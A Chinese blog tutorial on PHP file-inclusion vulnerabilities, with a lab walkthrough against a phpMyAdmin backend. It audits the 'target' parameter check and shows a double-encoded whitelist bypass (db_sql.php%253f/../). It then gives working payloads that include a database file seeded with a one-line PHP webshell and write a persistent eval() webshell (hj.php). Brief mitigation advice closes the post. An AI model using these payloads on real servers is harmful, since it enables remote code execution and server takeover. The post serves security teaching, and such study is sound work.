渗透测试基础 -文件包含漏洞_基础测试文件泄露漏洞_jinxya的博客-程序员秘密

技术标签: 安全  php  文件包含漏洞  https  

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力!

文件包含是什么

举个例子:比如一个网站的后台,正常情况下是不允许其他非管理员访问的,会在网站后台里面加入一些代码,对其cookie或者session做限制。但是,网站后台大多数情况并非只有一个页面,那是不是每个页面都得加入这个验证身份的代码呢?答案是否定的,因为这样会导致代码的冗余,效率和运行速度也会下降。所以这里就引入了一个概念,对身份验证的代码,放入一个文件中,其他网页统一去调用这个文件,即可实现每个页面都能做到对身份的验证。

【注:包含文件很有用,可以简化代码】

文件包含又有本地文件包含远程文件包含,但是远程文件包含默认是关闭的,在php中需要在php.int文件中改变allow_url_include = On参数才可。

  1. 本地文件包含(LFI):
    当包含的文件在服务器本地时,就叫本地文件包含。

  2. 远程文件包含(RFI):
    需要包含的文件并非在本地,一般会通过http来实现远程文件包含。

注:文件包含的文件,会被当做当前脚本语言执行,假如你现在用的是PHP,那不管你被包含的文件后缀是什么,即使是jpg.png.txt,都会被当作PHP代码来执行。当然如果你这包含了图片马,那也就能直接取得webshell了

文件包含使用函数

1.include( )
include 语句包含并运行指定文件。

  1. require( )
    requireinclude 几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止include 只产生警告(E_WARNING),脚本会继续运行

  2. include_once( )
    include_once 语句在脚本执行期间包含并运行指定文件。此行为和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回True。 如同此语句名字暗示的那样,该文件只会包含一次。 include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

  3. require_once( )
    require_once 语句和require 语句完全相同,唯一区别是 PHP检查该文件是否已经被包含过,如果是则不会再次包含

文件包含漏洞的形成

其实文件包含并非漏洞,当然是在处理好的情况下,如直接写死,去包含什么文件,且对面的文件有没有其他漏洞,如包含的文件是用$_REQUEST这样的方式传进来的,那就得注意了,是否会对传过来的值做限制,如果处理不当,就变成了漏洞。

文件路径巧用

在了解一点知识
windows cmd中,cd ../是回到上级目录,输入文件名会进入对应目录
在这里插入图片描述
如果输入 cd 然后随便乱打加上/../这样其实是还是在本身的位置没动,因为输入乱打的文件名并没有,所以他去不了,然后../又是回到上级目录,既然去不了那干脆就没有动位置。在php中也可以这样操作,只是乱打的字符串里面不能有符号*,即可。

在这里插入图片描述
有了前面的铺垫,接下里可以开始讲靶场了。

文件包含靶场演练

靶场为一个phpmyadmin的网站后台,既然是phpmyadmin的,那就将源码下载到虚拟机进行代码审计工作,找这次关于文件包含的“危险”函数。

直接全局搜索那四个函数,找危险的位置,如include($_REQUEST);这样的。
在这里插入图片描述
在这里插入图片描述
发现这段代码上面并没有什么死亡函数,这个很重要,不然等下全弄好了,发现这里不执行就很难受,在确定没有死亡函数时,将这段代码扣下来解析一下。

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    
    include $_REQUEST['target'];
    exit;
}

一条条来解析:
1.if函数,检查以下条件,当全部满足时,才会执行我们想要的inclueempty— 检查一个变量是否为空。如果是空的,他就返回一个True,但是因为在最前面有一个感叹号的存在,所以需要我们传数据进去,就满足了第一个条件。

  1. is_string — 检测变量是否是字符串,这个好理解,就是检查传进来的是不是字符串,我们肯定满足,即使传阿拉伯数字进来,那也属于字符串。

  2. preg_match— 执行匹配正则表达式(检查的条件,检查的值),检查的条件这里是,以index开头都算,即使是indexaaa也算,但是注意前面的感叹号,所以这里的意思是,进来的值,不能以index开头。

  3. in_array — 检查数组中是否存在某个值(检查的条件,检查的值),和上一个很像,也是拿来做内容匹配的。但是这里检查的值好像是自定义的,所以我们得找一下,到底检查什么
    在这里插入图片描述
    原来是在这个数组中放入了两个值,规定其为黑名单(blacklist),因为如果这里传进来的值是这样两个,会因为开头的感叹号导致位置返回为False,所以这里不传这两个值即可。

  4. 这个会复杂一点Core::checkPageValidity()这样的写法叫做调用某个类的方法。来追踪一下 看是哪的。
    在这里插入图片描述
    找到了,又是一长条,还是全部拿出来一点点分析

public static function checkPageValidity(&$page, array $whitelist = [])
    {
    
        if (empty($whitelist)) {
    
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
    
            return false;
        }

        if (in_array($page, $whitelist)) {
    
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
    
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
    
            return true;
        }

        return false;
    }

因为第一条是类的定义,直接看第三条:

        if (empty($whitelist)) {
    
            $whitelist = self::$goto_whitelist;
        }

1.if条件判断 empty — 检查一个变量是否为空,这里的whitelist等于self::goto_whitelist,这里不懂哦,其实就是:在访问PHP类中的成员变量或方法时,如果被引用的变量或者方法被声明成const(定义常量)或者static(声明静态),那么就必须使用操作符::,反之如果被引用的变量或者方法没有被声明成const或者static,那么就必须使用操作符->。这是语法上的,和我渗透关系不大,直接看后面的goto_whitelist是什么

在这里插入图片描述
其实这个看名字就知道,(whitelist)白名单,这里执行将白名单数组的内容放入变量whitelist中,于我们无关,往下看

  1. 第6条
        if (! isset($page) || !is_string($page)) {
    
            return false;
        }

这里isset— 检测变量是否已设置并且非 null(空),||(或者的意思),is_string — 检查是不是字符串。那这里的意思就是$page是不是为空呀,是的话就是False,但是因为有前面感叹号的存在,所以反着来理解,这里要是空的话,我就返回True了,要是不为空,就返回False。这里我们是肯定要传入数据了,Flase已经取得,又因为有||的存在,所以就算不看或者,我们这也不会执行。
在这里插入图片描述
3. 第10条

        if (in_array($page, $whitelist)) {
    
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );

这里的变量$page就是我们刚刚追过来,需要传入的值。
在这里插入图片描述
在这里插入图片描述

在看这里,说我们传进来的值,得是白名单的才可以是True,很明显不是嘛,所以接着往下看。$_page = mb_substr 这里mb_substr的意思是取字符串的值的意思,和substr差不多,他那种写法看起来很蛋疼,来给他改一下

   $_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
    语法:
    mb_substr ( string $str , int $start) 

str 必需。从该 string 中提取子字符串。
start 必需。规定在字符串的何处开始。0 - 在字符串中的第一个字符处开始

这里又看到一个函数 mb_strpos()— 查找字符串在另一个字符串中首次出现的位置,相当于这样mb_strpos(‘1234’,’4’),会在第一个值里检查第二个值在哪,这里就会返回3,因为在代码中,0为第一位,mb_strpos(‘1234’,’2’),就会返回1。搜索一个不存在的,就不会有回显。那这里是($page.’?’,’?’)第一个问号前面要注意,是点,并非逗号,所以这里是连接符,假如$page是admin,那这里就是(’admin?’,’?’),返回5,将5带入到另外一个括号$_page = mb_substr($page,0,5),根据前面所提到的语法,那函数就会取第1位到第5位的值,也就是这里的admin。这里我们可以自己验证一下。

在这里插入图片描述
这里既然要用\$whitelist里面的值,那就先弄出来一个
在这里插入图片描述
db_sql.php,这个下面用。

  1. 第19条
        if (in_array($_page, $whitelist)) {
    
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );

这里前面和后面都还是一样的,但是中间出现了转机,一开始有说过,cscsvs/../是不会改变目录的,但是这个乱写的数据里面是不能插入“ ?”“ * ”的,而我们这里非得放入才可以。前面是因为编码的原因:db_sql.php+?只经过一次编码进入之后就是问号,这样不可以。但是这里还有这样一条
在这里插入图片描述
urldecode — 解码已编码的 URL 字符串,也就是将传进来的值进行一次解码,当然前提是进过编码的,还是自己尝试一下。
在这里插入图片描述
这里我做了三个尝试,数字,符号,和双重符号。%25编码之后为%号,而%3f编码之后就为号了
在这里插入图片描述
那我们这的语句就有了
db_sql.php%253f/../

        if (in_array($_page, $whitelist)) {
    
            return true;
        }

好了 既然已经拿到恶意语句了,去本地看一下,能不能用。

在这里插入图片描述
因为是自己搭建的 所以密码是知道的
在这里插入图片描述
将一句话木马放入到index文件下,进行文件包含。文件为1.a。所以传入的语句是target=db_sql.php%253f/../1.a
在这里插入图片描述
本地成功了,那就转战靶场。
在这里插入图片描述
通过爆破得到账号密码为root root【不演示了】靶场主要为文件包含漏洞演示,所以后台密码简单也说的过去,主要是用文件包含拿下服务器。
在这里插入图片描述
进去之后发现旁别写着各种各样的库名,而正常情况下,phpstudy的数据库的文件夹在D:\phpStudy\MySQL\data这个目录下
在这里插入图片描述
在这里插入图片描述
这里直接写一个一句话木马的字段名,那是不是等下直接包含这个文件进来,就成功了。

在这里插入图片描述
在同样的地方在创建一个,字段写入一句话木马。现在这里就有了两个木马文件了。接下来就需要怎么去包含这个文件了。

因为知道靶场也为phpstudy,所以数据库表的位置大概是知道点的,MySQL\data 比如这个就可以确定,但是前面有什么文件就不知道了,所以这里咱们可以多写几个../../../
这样最多就跳根目录嘛,然后在写phpStudy\MySQL\data开头不就好了hj_mm\hj.frm

?target=db_sql.php%253f/../../../../../phpStudy\MySQL\data\hj_mm\hj.frm&&666=phpinfo();
放入靶场中,测试
在这里插入图片描述
这样就文件包含成功了,但是现在这个状态并非能连接菜刀的,因为现在这个是需要登录状态才能弄的,所以得在index下创建一个木马文件。用file_put_contents(‘hj.php’,’<?php eval($_REQUEST[666])?>’);创建一个hj.php的一句话木马文件了。

?target=db_sql.php%253f/../../../../../phpStudy\MySQL\data\hj_mm\hj.frm&&666=file_put_contents(‘hj.php’,’<?php eval($_REQUEST[666])?>’);

然后去主页面访问hj.php?666=phpinfo();
在这里插入图片描述
这样就没问题了 ,用菜刀去连接。
在这里插入图片描述
在这里插入图片描述

漏洞总结

防范方法:

  1. 在功能设计上尽量不要将文件包含函数对应的文件放给前段进行选择和操作。

  2. 过滤 …/…/…/,http://,https://

  3. 配置php.ini配置文件:
    allow_url_fopen = off (禁止打开URL文件)
    allow_url_include = off (禁止引用URL文件,新版增加功能,预设关闭)
    magic_quotes_gpc = on //gpc (魔术引号,这个在前面的宽子节注入有提到,用来post、get、cookie传进来的数据增加转义字符“\”,对POST、__GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。防止sql注入)

  4. 通过白名单策略,仅允许包含运行指定的文件,其他都禁止。

《最好的防御,是明白其怎么实施的攻击》

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_45488495/article/details/116423875

智能推荐

TensorFlow c++ SessionFactory注册与No session factory registered错误_not found: no session factory xcode_gaussrieman123的博客-程序员秘密

TensorFlow c++ SessionFactory注册与No session factory registered错误背景近期我们在服务器上使用TensorFlow来进行推理,作为云推理服务的基础。具体如何使用tensorflow c++库来进行推断可以参考之前的记录《从0开始使用tensorflow的c++库进行模型推断》。在经过一些demo的验证之后,我们开始在项目中正式使用TensorFlow的c++库,简单描述我们的用法:tensorflow作为最底层,上面有一层对推理框架的封装静态库

win11安装CUDA+cuDNN+ tensorflow_cuda11.7版本可以装那个版本的tensoflow_风兮w的博客-程序员秘密

可用的gpu版本tensorflow配置:python3.7.0+CUDA11.6.0+cuDNN8.4.0+tensorflow2.7.0+Keras2.7.0。然后安装tensorflow2.7版本之后(不需要单独安装gpu版本,因为已经包含了),重启电脑,再使用。GTX3060,CUDA driver版本11.7。

Redhat Linux 5.5 安装JDK_王维的博客-程序员秘密

Redhat Linux 5.5安装JDK时,可能系统中已安装了老版本的JDK,这时要先卸载老版的,之后再安装新版本。下面步骤,试验过的。 [[email protected] soft]# java -versionjava version “1.4.2″gij (GNU libgcj) version 4.1.2 20071124 (Red Hat 4.1.2-42)

html——表单(单选框与复选框)_html表单复选框_lengyuefengqing的博客-程序员秘密

html中有两种选择框,即单选框和复选框,两者的区别是单选框中的选项用户只能选择一项,而复选框中用户可以任意选择多项,甚至全选。请看下面的例子:语法:1、type:   当 type="radio" 时,控件为单选框   当 type="checkbox" 时,控件为复选框2、value:提交数据到服务器的值(后台程序PHP使用)3、name:为控件

ORACLE 存储过程被锁 解锁方法_猿人的博客-程序员秘密

http://wenwen.soso.com/z/q312472040.htm一些ORACLE中的进程被杀掉后,状态被置为"killed",但是锁定的资源很长时间不释放,有时实在没办法,只好重启数据库。现在提供一种方法解决这种问题,那就是在ORACLE中杀不掉的,在OS一级再杀。1.下面的语句用来查询哪些对象被锁:select object_name,machine,s.sid,s.s

NoSQL MongoDB_最爱喝酸奶的博客-程序员秘密

21.4 MongoDB介绍什么是MongoDBMongoDB也是NoSQL的一种,它是一个基于分布式文件存储的文档型数据库,由C++语言编写。因为是文档型数据库,所以它是非关系数据库中功能最丰富、最像关系数据库的。官方网站 ,最新版本4.0.1。MongoDB将数据存储为一个文档,数据结构将键值(key-value)对组成,MongoDB文档类似于JSON对象,字段值可以包含其它文档、...

随便推点

数据库练习题(MySql)_LL__Sunny的博客-程序员秘密

1.创建student表和score表CREATE TABLE student( id INT(10) PRIMARY KEY AUTO_INCREMENT, name VARCHAR(20) NOT NULL, sex VARCHAR(4), birth YEAR, department VARCHAR(20) NOT NULL, address .

2020 Web Almanac 网络年鉴 | 极客分享第 8 期 2020-12-14_采蘑菇的安琪拉的博客-程序员秘密

什么是“极客分享每周精选”“极客分享”是一个书签分享的网站(hackershare.dev),“每周精选”是该网站汇总精选书签的一个栏目。本期正文原文链接: https://hackershare.dev/weekly_selections/8Web Almanac 网络年鉴是结合了网络社区的专业知识和HTTP Archive的数据和趋势的网络年度报告1. 云原生时代,Java危矣?Java 诞生距今已有 25 年,但它仍然长期占据着“天下第一”编程语言的宝座。只是其统治地位并非坚不可摧,反倒

题解 | Exciting Drifting-2019牛客暑期多校训练营第八场E题_牛客竞赛的博客-程序员秘密

题目来源于牛客竞赛:https://ac.nowcoder.com/acm/contest/discuss题目描述:输入描述:输出描述:示例1:题解:代码:#include &lt;cstdio&gt;#include &lt;vector&gt;#include &lt;algorithm&gt;using namespace std;#define N 10000...

前台页面HTML5的Audio音频标签学习使用_audio 使用http音频_ghjzzhg的博客-程序员秘密

原文链接:http://caibaojian.com/html5-audio.htmlHTML5中的新元素标签src:音频文件路径。 autobuffer:设置是否在页面加载时自动缓冲音频。 autoplay:设置音频是否自动播放。 loop:设置音频是否要循环播放。 controls:属性供添加播放、暂停和音量控件。这些属性和&amp;lt;video&amp;gt;元素标签的属性很类似如...

activiti官方demo在Tomcat中报错启动不了问题_activiti部署到tomcat打不开_江湖上最后一块奶酪的博客-程序员秘密

下载了最新的activiti-explorer,然后把war包放Tomcat的webapps目录下,启动Tomcat,报错了,就一个error,找不到原因,后来查看各种2016-12-28 8:33:01 org.apache.catalina.core.AprLifecycleListener init信息: The APR based Apache Tomcat Native libr

IT项目管理HW5_啥也不会的码农的博客-程序员秘密

1. 你联合同学做一个年级微信公众号加强各班相互了解、联合活动等。请写一份两页的报告,描述收集需求的方法,并附上收集的需求跟踪矩阵(不少于五个需求);收集需求的方法:头脑风暴组织一些同学头脑风暴提出自己的想法访谈对目标人群院内学生进行询问,询问老师,问卷调查设计问卷通过班级群进行调查标杆对照与已有的同类公众号进行对比,找出需要的需求焦点小组召集公众号团队围绕公众号进行互动式讨论,了解团队内部对于年级同学对于公众号的评价、关注人数、阅读量等指标的期望。需求跟踪矩阵2. 使用思维

推荐文章

热门文章

相关标签